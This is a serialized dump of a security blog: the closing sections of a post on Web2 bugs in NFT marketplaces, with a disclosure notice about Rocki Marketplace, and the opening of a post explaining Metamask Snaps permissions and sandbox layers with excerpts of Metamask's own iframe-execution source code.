authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":21,"tag":22,"props":38061,"children":38062},{},[38063],{"type":26,"value":38064},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":21,"tag":38066,"props":38067,"children":38068},"h1",{"id":5568},[38069],{"type":26,"value":5571},{"type":21,"tag":22,"props":38071,"children":38072},{},[38073],{"type":26,"value":38074},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":21,"tag":22,"props":38076,"children":38077},{},[38078],{"type":26,"value":38079},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":21,"tag":66,"props":38081,"children":38083},{"id":38082},"disclaimer",[38084],{"type":26,"value":38085},"Disclaimer",{"type":21,"tag":22,"props":38087,"children":38088},{},[38089],{"type":26,"value":38090},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":21,"tag":5603,"props":38092,"children":38093},{},[38094],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":38096},[38097,38100,38106,38110,38111],{"id":31710,"depth":166,"text":31713,"children":38098},[38099],{"id":5674,"depth":225,"text":5677},{"id":33902,"depth":166,"text":33932,"children":38101},[38102,38103,38104,38105],{"id":33951,"depth":225,"text":33954},{"id":34016,"depth":225,"text":34019},{"id":36845,"depth":225,"text":36848},{"id":37135,"depth":225,"text":37138},{"id":37480,"depth":166,"text":37483,"children":38107},[38108,38109],{"id":37502,"depth":225,"text":37505},{"id":37552,"depth":225,"text":37555},{"id":37636,"depth":166,"text":37642},{"id":38082,"depth":166,"text":38085},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":38116,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":38117,"description":38118,"author":38119,"image":38120,"date":38122,"isFeatured":16,"onBlogPage":16,"body":38123,"_type":5619,"_id":43136,"_source":5621,"_file":43137,"_stem":43138,"_extension":5624},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[33896,33895],{"src":38121,"height":16339,"width":16340},"/posts/metamask-snaps/header.png","2023-11-01",{"type":18,"children":38124,"toc":43117},[38125,38129,38134,38139,38144,38150,38155,38161,38174,38179,38184,38191,38223,38229,38234,38252,38259,38265,38279,38285,38305,38568,38596,38602,38621,39007,39026,39039,39357,39378,39649,39654,39660,39665,39678,39683,39696,39955,39999,40012,40018,40032,40038,40044,40057,40094,40100,40120,40231,40258,40264,40282,40295,40301,40306,40324,40435,40440,40461,40474,40491,40591,40617,40634,40756,40782,40794,40799,40805,40811,40816,40839,40844,40849,40855,40861,40888,41290,41317,41344,41350,41381,41689,41708,41713,41738,41751,41757,41784,42079,42115,42133,42138,42173,42178,42182,42187,42194,42199,42226,43003,43023,43029,43050,43099,43103,43108,43113],{"type":21,"tag":66,"props":38126,"children":38127},{"id":68},[38128],{"type":26,"value":71},{"type":21,"tag":22,"props":38130,"children":38131},{},[38132],{"type":26,"value":38133},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":21,"tag":22,"props":38135,"children":38136},{},[38137],{"type":26,"value":38138},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":21,"tag":22,"props":38140,"children":38141},{},[38142],{"type":26,"value":38143},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":21,"tag":66,"props":38145,"children":38147},{"id":38146},"sandbox-security",[38148],{"type":26,"value":38149},"Sandbox Security",{"type":21,"tag":22,"props":38151,"children":38152},{},[38153],{"type":26,"value":38154},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":21,"tag":114,"props":38156,"children":38158},{"id":38157},"permission-based-security",[38159],{"type":26,"value":38160},"Permission-based security",{"type":21,"tag":22,"props":38162,"children":38163},{},[38164,38166,38172],{"type":26,"value":38165},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":21,"tag":78,"props":38167,"children":38169},{"className":38168},[],[38170],{"type":26,"value":38171},"snap.manifest.json",{"type":26,"value":38173}," file and can be critical to security.",{"type":21,"tag":22,"props":38175,"children":38176},{},[38177],{"type":26,"value":38178},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":21,"tag":22,"props":38180,"children":38181},{},[38182],{"type":26,"value":38183},"Here are the critical permissions possible to be given to a snap:",{"type":21,"tag":22,"props":38185,"children":38186},{},[38187],{"type":21,"tag":3644,"props":38188,"children":38190},{"alt":7,"src":38189},"/posts/metamask-snaps/permissions.png",[],{"type":21,"tag":87,"props":38192,"children":38193},{},[38194,38212],{"type":21,"tag":91,"props":38195,"children":38196},{},[38197,38203,38204,38210],{"type":21,"tag":78,"props":38198,"children":38200},{"className":38199},[],[38201],{"type":26,"value":38202},"snap_getBip44Entropy",{"type":26,"value":52},{"type":21,"tag":78,"props":38205,"children":38207},{"className":38206},[],[38208],{"type":26,"value":38209},"snap_getBip32Entropy",{"type":26,"value":38211}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":21,"tag":91,"props":38213,"children":38214},{},[38215,38221],{"type":21,"tag":78,"props":38216,"children":38218},{"className":38217},[],[38219],{"type":26,"value":38220},"endowment:transaction-insight",{"type":26,"value":38222}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":21,"tag":114,"props":38224,"children":38226},{"id":38225},"snap-execution-environment",[38227],{"type":26,"value":38228},"Snap execution environment",{"type":21,"tag":22,"props":38230,"children":38231},{},[38232],{"type":26,"value":38233},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":21,"tag":126,"props":38235,"children":38236},{},[38237,38242,38247],{"type":21,"tag":91,"props":38238,"children":38239},{},[38240],{"type":26,"value":38241},"An isolated iframe",{"type":21,"tag":91,"props":38243,"children":38244},{},[38245],{"type":26,"value":38246},"LavaMoat",{"type":21,"tag":91,"props":38248,"children":38249},{},[38250],{"type":26,"value":38251},"SES (Secure EcmaScript)",{"type":21,"tag":22,"props":38253,"children":38254},{},[38255],{"type":21,"tag":3644,"props":38256,"children":38258},{"alt":7,"src":38257},"/posts/metamask-snaps/environment.png",[],{"type":21,"tag":114,"props":38260,"children":38262},{"id":38261},"isolated-iframe-layer-1",[38263],{"type":26,"value":38264},"Isolated Iframe - Layer 1",{"type":21,"tag":22,"props":38266,"children":38267},{},[38268,38270,38277],{"type":26,"value":38269},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":21,"tag":29,"props":38271,"children":38274},{"href":38272,"rel":38273},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[33],[38275],{"type":26,"value":38276},"Iframe",{"type":26,"value":38278}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":21,"tag":21591,"props":38280,"children":38282},{"id":38281},"the-framework-metamask-extension-repo",[38283],{"type":26,"value":38284},"The Framework: Metamask-Extension Repo",{"type":21,"tag":22,"props":38286,"children":38287},{},[38288,38290,38296,38298,38304],{"type":26,"value":38289},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":21,"tag":78,"props":38291,"children":38293},{"className":38292},[],[38294],{"type":26,"value":38295},"metamask-controller.js",{"type":26,"value":38297}," file. Here's a glimpse of the relevant ",{"type":21,"tag":29,"props":38299,"children":38302},{"href":38300,"rel":38301},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[33],[38303],{"type":26,"value":78},{"type":26,"value":201},{"type":21,"tag":143,"props":38306,"children":38310},{"className":38307,"code":38308,"language":38309,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[38311],{"type":21,"tag":78,"props":38312,"children":38313},{"__ignoreMap":7},[38314,38322,38330,38350,38397,38432,38449,38457,38499,38506,38513,38521,38549,38561],{"type":21,"tag":153,"props":38315,"children":38316},{"class":155,"line":156},[38317],{"type":21,"tag":153,"props":38318,"children":38319},{"style":3050},[38320],{"type":26,"value":38321},"// Import snaps-controllers\n",{"type":21,"tag":153,"props":38323,"children":38324},{"class":155,"line":166},[38325],{"type":21,"tag":153,"props":38326,"children":38327},{"style":3050},[38328],{"type":26,"value":38329},"// ...\n",{"type":21,"tag":153,"props":38331,"children":38332},{"class":155,"line":225},[38333,38337,38342,38346],{"type":21,"tag":153,"props":38334,"children":38335},{"style":170},[38336],{"type":26,"value":5085},{"type":21,"tag":153,"props":38338,"children":38339},{"style":192},[38340],{"type":26,"value":38341}," snapExecutionServiceArgs",{"type":21,"tag":153,"props":38343,"children":38344},{"style":198},[38345],{"type":26,"value":255},{"type":21,"tag":153,"props":38347,"children":38348},{"style":160},[38349],{"type":26,"value":236},{"type":21,"tag":153,"props":38351,"children":38352},{"class":155,"line":239},[38353,38358,38362,38367,38371,38375,38379,38384,38388,38393],{"type":21,"tag":153,"props":38354,"children":38355},{"style":192},[38356],{"type":26,"value":38357},"  iframeUrl:",{"type":21,"tag":153,"props":38359,"children":38360},{"style":170},[38361],{"type":26,"value":34627},{"type":21,"tag":153,"props":38363,"children":38364},{"style":181},[38365],{"type":26,"value":38366}," URL",{"type":21,"tag":153,"props":38368,"children":38369},{"style":160},[38370],{"type":26,"value":189},{"type":21,"tag":153,"props":38372,"children":38373},{"style":192},[38374],{"type":26,"value":2796},{"type":21,"tag":153,"props":38376,"children":38377},{"style":160},[38378],{"type":26,"value":355},{"type":21,"tag":153,"props":38380,"children":38381},{"style":192},[38382],{"type":26,"value":38383},"env",{"type":21,"tag":153,"props":38385,"children":38386},{"style":160},[38387],{"type":26,"value":355},{"type":21,"tag":153,"props":38389,"children":38390},{"style":192},[38391],{"type":26,"value":38392},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":21,"tag":153,"props":38394,"children":38395},{"style":160},[38396],{"type":26,"value":679},{"type":21,"tag":153,"props":38398,"children":38399},{"class":155,"line":382},[38400,38405,38410,38414,38419,38423,38428],{"type":21,"tag":153,"props":38401,"children":38402},{"style":192},[38403],{"type":26,"value":38404},"  messenger:",{"type":21,"tag":153,"props":38406,"children":38407},{"style":170},[38408],{"type":26,"value":38409}," this",{"type":21,"tag":153,"props":38411,"children":38412},{"style":160},[38413],{"type":26,"value":355},{"type":21,"tag":153,"props":38415,"children":38416},{"style":192},[38417],{"type":26,"value":38418},"controllerMessenger",{"type":21,"tag":153,"props":38420,"children":38421},{"style":160},[38422],{"type":26,"value":355},{"type":21,"tag":153,"props":38424,"children":38425},{"style":181},[38426],{"type":26,"value":38427},"getRestricted",{"type":21,"tag":153,"props":38429,"children":38430},{"style":160},[38431],{"type":26,"value":17840},{"type":21,"tag":153,"props":38433,"children":38434},{"class":155,"line":501},[38435,38440,38445],{"type":21,"tag":153,"props":38436,"children":38437},{"style":192},[38438],{"type":26,"value":38439},"    name:",{"type":21,"tag":153,"props":38441,"children":38442},{"style":671},[38443],{"type":26,"value":38444}," 'ExecutionService'",{"type":21,"tag":153,"props":38446,"children":38447},{"style":160},[38448],{"type":26,"value":792},{"type":21,"tag":153,"props":38450,"children":38451},{"class":155,"line":533},[38452],{"type":21,"tag":153,"props":38453,"children":38454},{"style":160},[38455],{"type":26,"value":38456},"  }),\n",{"type":21,"tag":153,"props":38458,"children":38459},{"class":155,"line":542},[38460,38465,38469,38473,38478,38482,38487,38491,38495],{"type":21,"tag":153,"props":38461,"children":38462},{"style":192},[38463],{"type":26,"value":38464},"  setupSnapProvider:",{"type":21,"tag":153,"props":38466,"children":38467},{"style":170},[38468],{"type":26,"value":38409},{"type":21,"tag":153,"props":38470,"children":38471},{"style":160},[38472],{"type":26,"value":355},{"type":21,"tag":153,"props":38474,"children":38475},{"style":192},[38476],{"type":26,"value":38477},"setupSnapProvider",{"type":21,"tag":153,"props":38479,"children":38480},{"style":160},[38481],{"type":26,"value":355},{"type":21,"tag":153,"props":38483,"children":38484},{"style":181},[38485],{"type":26,"value":38486},"bind",{"type":21,"tag":153,"props":38488,"children":38489},{"style":160},[38490],{"type":26,"value":189},{"type":21,"tag":153,"props":38492,"children":38493},{"style":170},[38494],{"type":26,"value":20389},{"type":21,"tag":153,"props":38496,"children":38497},{"style":160},[38498],{"type":26,"value":679},{"type":21,"tag":153,"props":38500,"children":38501},{"class":155,"line":762},[38502],{"type":21,"tag":153,"props":38503,"children":38504},{"style":160},[38505],{"type":26,"value":19275},{"type":21,"tag":153,"props":38507,"children":38508},{"class":155,"line":776},[38509],{"type":21,"tag":153,"props":38510,"children":38511},{"emptyLinePlaceholder":16},[38512],{"type":26,"value":759},{"type":21,"tag":153,"props":38514,"children":38515},{"class":155,"line":795},[38516],{"type":21,"tag":153,"props":38517,"children":38518},{"style":3050},[38519],{"type":26,"value":38520},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":21,"tag":153,"props":38522,"children":38523},{"class":155,"line":808},[38524,38528,38532,38536,38540,38544],{"type":21,"tag":153,"props":38525,"children":38526},{"style":192},[38527],{"type":26,"value":2796},{"type":21,"tag":153,"props":38529,"children":38530},{"style":160},[38531],{"type":26,"value":355},{"type":21,"tag":153,"props":38533,"children":38534},{"style":192},[38535],{"type":26,"value":38383},{"type":21,"tag":153,"props":38537,"children":38538},{"style":160},[38539],{"type":26,"value":355},{"type":21,"tag":153,"props":38541,"children":38542},{"style":192},[38543],{"type":26,"value":38392},{"type":21,"tag":153,"props":38545,"children":38546},{"style":198},[38547],{"type":26,"value":38548}," =\n",{"type":21,"tag":153,"props":38550,"children":38551},{"class":155,"line":820},[38552,38557],{"type":21,"tag":153,"props":38553,"children":38554},{"style":671},[38555],{"type":26,"value":38556},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":21,"tag":153,"props":38558,"children":38559},{"style":160},[38560],{"type":26,"value":1759},{"type":21,"tag":153,"props":38562,"children":38563},{"class":155,"line":842},[38564],{"type":21,"tag":153,"props":38565,"children":38566},{"style":3050},[38567],{"type":26,"value":38329},{"type":21,"tag":22,"props":38569,"children":38570},{},[38571,38573,38579,38581,38587,38589,38594],{"type":26,"value":38572},"This code is defining the ",{"type":21,"tag":78,"props":38574,"children":38576},{"className":38575},[],[38577],{"type":26,"value":38578},"snapExecutionServiceArgs",{"type":26,"value":38580}," object, which contains information required for the ",{"type":21,"tag":78,"props":38582,"children":38584},{"className":38583},[],[38585],{"type":26,"value":38586},"IframeExecutionService",{"type":26,"value":38588}," to execute snaps. The ",{"type":21,"tag":78,"props":38590,"children":38592},{"className":38591},[],[38593],{"type":26,"value":38392},{"type":26,"value":38595}," points to the location where the execution environment resides.",{"type":21,"tag":21591,"props":38597,"children":38599},{"id":38598},"executing-snaps-iframeexecutionservice-in-action",[38600],{"type":26,"value":38601},"Executing Snaps: IframeExecutionService in Action",{"type":21,"tag":22,"props":38603,"children":38604},{},[38605,38607,38612,38614,38620],{"type":26,"value":38606},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":21,"tag":78,"props":38608,"children":38610},{"className":38609},[],[38611],{"type":26,"value":38586},{"type":26,"value":38613}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":21,"tag":29,"props":38615,"children":38618},{"href":38616,"rel":38617},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[33],[38619],{"type":26,"value":78},{"type":26,"value":201},{"type":21,"tag":143,"props":38622,"children":38626},{"className":38623,"code":38624,"language":38625,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[38627],{"type":21,"tag":78,"props":38628,"children":38629},{"__ignoreMap":7},[38630,38638,38667,38697,38750,38787,38794,38801,38809,38816,38823,38831,38866,38874,38930,38992,39000],{"type":21,"tag":153,"props":38631,"children":38632},{"class":155,"line":156},[38633],{"type":21,"tag":153,"props":38634,"children":38635},{"style":3050},[38636],{"type":26,"value":38637},"// Register message handlers for snap interactions\n",{"type":21,"tag":153,"props":38639,"children":38640},{"class":155,"line":166},[38641,38645,38649,38654,38658,38663],{"type":21,"tag":153,"props":38642,"children":38643},{"style":170},[38644],{"type":26,"value":20389},{"type":21,"tag":153,"props":38646,"children":38647},{"style":160},[38648],{"type":26,"value":355},{"type":21,"tag":153,"props":38650,"children":38651},{"style":192},[38652],{"type":26,"value":38653},"#messenger",{"type":21,"tag":153,"props":38655,"children":38656},{"style":160},[38657],{"type":26,"value":355},{"type":21,"tag":153,"props":38659,"children":38660},{"style":181},[38661],{"type":26,"value":38662},"registerActionHandler",{"type":21,"tag":153,"props":38664,"children":38665},{"style":160},[38666],{"type":26,"value":773},{"type":21,"tag":153,"props":38668,"children":38669},{"class":155,"line":225},[38670,38675,38679,38684,38688,38693],{"type":21,"tag":153,"props":38671,"children":38672},{"style":671},[38673],{"type":26,"value":38674},"  `",{"type":21,"tag":153,"props":38676,"children":38677},{"style":170},[38678],{"type":26,"value":36802},{"type":21,"tag":153,"props":38680,"children":38681},{"style":192},[38682],{"type":26,"value":38683},"controllerName",{"type":21,"tag":153,"props":38685,"children":38686},{"style":170},[38687],{"type":26,"value":36834},{"type":21,"tag":153,"props":38689,"children":38690},{"style":671},[38691],{"type":26,"value":38692},":handleRpcRequest`",{"type":21,"tag":153,"props":38694,"children":38695},{"style":160},[38696],{"type":26,"value":792},{"type":21,"tag":153,"props":38698,"children":38699},{"class":155,"line":239},[38700,38705,38709,38714,38718,38723,38727,38732,38736,38741,38745],{"type":21,"tag":153,"props":38701,"children":38702},{"style":170},[38703],{"type":26,"value":38704},"  async",{"type":21,"tag":153,"props":38706,"children":38707},{"style":160},[38708],{"type":26,"value":5820},{"type":21,"tag":153,"props":38710,"children":38711},{"style":192},[38712],{"type":26,"value":38713},"snapId",{"type":21,"tag":153,"props":38715,"children":38716},{"style":198},[38717],{"type":26,"value":201},{"type":21,"tag":153,"props":38719,"children":38720},{"style":214},[38721],{"type":26,"value":38722}," string",{"type":21,"tag":153,"props":38724,"children":38725},{"style":160},[38726],{"type":26,"value":1670},{"type":21,"tag":153,"props":38728,"children":38729},{"style":192},[38730],{"type":26,"value":38731},"options",{"type":21,"tag":153,"props":38733,"children":38734},{"style":198},[38735],{"type":26,"value":201},{"type":21,"tag":153,"props":38737,"children":38738},{"style":214},[38739],{"type":26,"value":38740}," SnapRpcHookArgs",{"type":21,"tag":153,"props":38742,"children":38743},{"style":160},[38744],{"type":26,"value":2362},{"type":21,"tag":153,"props":38746,"children":38747},{"style":170},[38748],{"type":26,"value":38749},"=>\n",{"type":21,"tag":153,"props":38751,"children":38752},{"class":155,"line":382},[38753,38758,38762,38767,38771,38775,38779,38783],{"type":21,"tag":153,"props":38754,"children":38755},{"style":170},[38756],{"type":26,"value":38757},"    this",{"type":21,"tag":153,"props":38759,"children":38760},{"style":160},[38761],{"type":26,"value":355},{"type":21,"tag":153,"props":38763,"children":38764},{"style":181},[38765],{"type":26,"value":38766},"handleRpcRequest",{"type":21,"tag":153,"props":38768,"children":38769},{"style":160},[38770],{"type":26,"value":189},{"type":21,"tag":153,"props":38772,"children":38773},{"style":192},[38774],{"type":26,"value":38713},{"type":21,"tag":153,"props":38776,"children":38777},{"style":160},[38778],{"type":26,"value":1670},{"type":21,"tag":153,"props":38780,"children":38781},{"style":192},[38782],{"type":26,"value":38731},{"type":21,"tag":153,"props":38784,"children":38785},{"style":160},[38786],{"type":26,"value":679},{"type":21,"tag":153,"props":38788,"children":38789},{"class":155,"line":501},[38790],{"type":21,"tag":153,"props":38791,"children":38792},{"style":160},[38793],{"type":26,"value":530},{"type":21,"tag":153,"props":38795,"children":38796},{"class":155,"line":533},[38797],{"type":21,"tag":153,"props":38798,"children":38799},{"emptyLinePlaceholder":16},[38800],{"type":26,"value":759},{"type":21,"tag":153,"props":38802,"children":38803},{"class":155,"line":542},[38804],{"type":21,"tag":153,"props":38805,"children":38806},{"style":3050},[38807],{"type":26,"value":38808},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":21,"tag":153,"props":38810,"children":38811},{"class":155,"line":762},[38812],{"type":21,"tag":153,"props":38813,"children":38814},{"style":3050},[38815],{"type":26,"value":38329},{"type":21,"tag":153,"props":38817,"children":38818},{"class":155,"line":776},[38819],{"type":21,"tag":153,"props":38820,"children":38821},{"emptyLinePlaceholder":16},[38822],{"type":26,"value":759},{"type":21,"tag":153,"props":38824,"children":38825},{"class":155,"line":795},[38826],{"type":21,"tag":153,"props":38827,"children":38828},{"style":3050},[38829],{"type":26,"value":38830},"// Execute a snap\n",{"type":21,"tag":153,"props":38832,"children":38833},{"class":155,"line":808},[38834,38839,38844,38848,38853,38857,38862],{"type":21,"tag":153,"props":38835,"children":38836},{"style":192},[38837],{"type":26,"value":38838},"async",{"type":21,"tag":153,"props":38840,"children":38841},{"style":181},[38842],{"type":26,"value":38843}," executeSnap",{"type":21,"tag":153,"props":38845,"children":38846},{"style":160},[38847],{"type":26,"value":189},{"type":21,"tag":153,"props":38849,"children":38850},{"style":192},[38851],{"type":26,"value":38852},"snapData",{"type":21,"tag":153,"props":38854,"children":38855},{"style":160},[38856],{"type":26,"value":18031},{"type":21,"tag":153,"props":38858,"children":38859},{"style":192},[38860],{"type":26,"value":38861},"SnapExecutionData",{"type":21,"tag":153,"props":38863,"children":38864},{"style":160},[38865],{"type":26,"value":2659},{"type":21,"tag":153,"props":38867,"children":38868},{"class":155,"line":820},[38869],{"type":21,"tag":153,"props":38870,"children":38871},{"style":3050},[38872],{"type":26,"value":38873},"  // Initialize job, streams, and environment\n",{"type":21,"tag":153,"props":38875,"children":38876},{"class":155,"line":842},[38877,38882,38886,38891,38896,38900,38905,38909,38913,38918,38922,38926],{"type":21,"tag":153,"props":38878,"children":38879},{"style":170},[38880],{"type":26,"value":38881},"  const",{"type":21,"tag":153,"props":38883,"children":38884},{"style":160},[38885],{"type":26,"value":12308},{"type":21,"tag":153,"props":38887,"children":38888},{"style":192},[38889],{"type":26,"value":38890},"jobId",{"type":21,"tag":153,"props":38892,"children":38893},{"style":160},[38894],{"type":26,"value":38895}," } ",{"type":21,"tag":153,"props":38897,"children":38898},{"style":198},[38899],{"type":26,"value":2367},{"type":21,"tag":153,"props":38901,"children":38902},{"style":1751},[38903],{"type":26,"value":38904}," await",{"type":21,"tag":153,"props":38906,"children":38907},{"style":170},[38908],{"type":26,"value":38409},{"type":21,"tag":153,"props":38910,"children":38911},{"style":160},[38912],{"type":26,"value":355},{"type":21,"tag":153,"props":38914,"children":38915},{"style":181},[38916],{"type":26,"value":38917},"initJob",{"type":21,"tag":153,"props":38919,"children":38920},{"style":160},[38921],{"type":26,"value":189},{"type":21,"tag":153,"props":38923,"children":38924},{"style":192},[38925],{"type":26,"value":38852},{"type":21,"tag":153,"props":38927,"children":38928},{"style":160},[38929],{"type":26,"value":530},{"type":21,"tag":153,"props":38931,"children":38932},{"class":155,"line":3204},[38933,38937,38941,38946,38950,38955,38959,38963,38967,38971,38975,38980,38984,38988],{"type":21,"tag":153,"props":38934,"children":38935},{"style":170},[38936],{"type":26,"value":38881},{"type":21,"tag":153,"props":38938,"children":38939},{"style":160},[38940],{"type":26,"value":12308},{"type":21,"tag":153,"props":38942,"children":38943},{"style":192},[38944],{"type":26,"value":38945},"worker",{"type":21,"tag":153,"props":38947,"children":38948},{"style":160},[38949],{"type":26,"value":1670},{"type":21,"tag":153,"props":38951,"children":38952},{"style":192},[38953],{"type":26,"value":38954},"stream",{"type":21,"tag":153,"props":38956,"children":38957},{"style":160},[38958],{"type":26,"value":38895},{"type":21,"tag":153,"props":38960,"children":38961},{"style":198},[38962],{"type":26,"value":2367},{"type":21,"tag":153,"props":38964,"children":38965},{"style":1751},[38966],{"type":26,"value":38904},{"type":21,"tag":153,"props":38968,"children":38969},{"style":170},[38970],{"type":26,"value":38409},{"type":21,"tag":153,"props":38972,"children":38973},{"style":160},[38974],{"type":26,"value":355},{"type":21,"tag":153,"props":38976,"children":38977},{"style":181},[38978],{"type":26,"value":38979},"initEnvStream",{"type":21,"tag":153,"props":38981,"children":38982},{"style":160},[38983],{"type":26,"value":189},{"type":21,"tag":153,"props":38985,"children":38986},{"style":192},[38987],{"type":26,"value":38890},{"type":21,"tag":153,"props":38989,"children":38990},{"style":160},[38991],{"type":26,"value":530},{"type":21,"tag":153,"props":38993,"children":38994},{"class":155,"line":3230},[38995],{"type":21,"tag":153,"props":38996,"children":38997},{"style":3050},[38998],{"type":26,"value":38999},"  // ...\n",{"type":21,"tag":153,"props":39001,"children":39002},{"class":155,"line":3239},[39003],{"type":21,"tag":153,"props":39004,"children":39005},{"style":160},[39006],{"type":26,"value":548},{"type":21,"tag":22,"props":39008,"children":39009},{},[39010,39011,39016,39018,39024],{"type":26,"value":19311},{"type":21,"tag":78,"props":39012,"children":39014},{"className":39013},[],[39015],{"type":26,"value":38586},{"type":26,"value":39017}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":21,"tag":78,"props":39019,"children":39021},{"className":39020},[],[39022],{"type":26,"value":39023},"${controllerName}:executeSnap",{"type":26,"value":39025}," handler triggers the snap execution process.",{"type":21,"tag":21591,"props":39027,"children":39029},{"id":39028},"step-by-step-execution-from-initialization-to-iframe-creation",[39030,39032],{"type":26,"value":39031},"Step-by-Step Execution: From Initialization to iFrame ",{"type":21,"tag":29,"props":39033,"children":39036},{"href":39034,"rel":39035},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[33],[39037],{"type":26,"value":39038},"creation",{"type":21,"tag":143,"props":39040,"children":39042},{"className":38623,"code":39041,"language":38625,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[39043],{"type":21,"tag":78,"props":39044,"children":39045},{"__ignoreMap":7},[39046,39095,39116,39137,39145,39209,39216,39244,39261,39278,39295,39312,39319,39326,39350],{"type":21,"tag":153,"props":39047,"children":39048},{"class":155,"line":156},[39049,39054,39059,39064,39068,39072,39076,39080,39085,39090],{"type":21,"tag":153,"props":39050,"children":39051},{"style":192},[39052],{"type":26,"value":39053},"protected",{"type":21,"tag":153,"props":39055,"children":39056},{"style":192},[39057],{"type":26,"value":39058}," async",{"type":21,"tag":153,"props":39060,"children":39061},{"style":181},[39062],{"type":26,"value":39063}," initEnvStream",{"type":21,"tag":153,"props":39065,"children":39066},{"style":160},[39067],{"type":26,"value":189},{"type":21,"tag":153,"props":39069,"children":39070},{"style":192},[39071],{"type":26,"value":38890},{"type":21,"tag":153,"props":39073,"children":39074},{"style":160},[39075],{"type":26,"value":18031},{"type":21,"tag":153,"props":39077,"children":39078},{"style":192},[39079],{"type":26,"value":32361},{"type":21,"tag":153,"props":39081,"children":39082},{"style":160},[39083],{"type":26,"value":39084},"): ",{"type":21,"tag":153,"props":39086,"children":39087},{"style":214},[39088],{"type":26,"value":39089},"Promise",{"type":21,"tag":153,"props":39091,"children":39092},{"style":160},[39093],{"type":26,"value":39094},"\u003C{\n",{"type":21,"tag":153,"props":39096,"children":39097},{"class":155,"line":166},[39098,39103,39107,39112],{"type":21,"tag":153,"props":39099,"children":39100},{"style":192},[39101],{"type":26,"value":39102},"    worker",{"type":21,"tag":153,"props":39104,"children":39105},{"style":198},[39106],{"type":26,"value":201},{"type":21,"tag":153,"props":39108,"children":39109},{"style":214},[39110],{"type":26,"value":39111}," 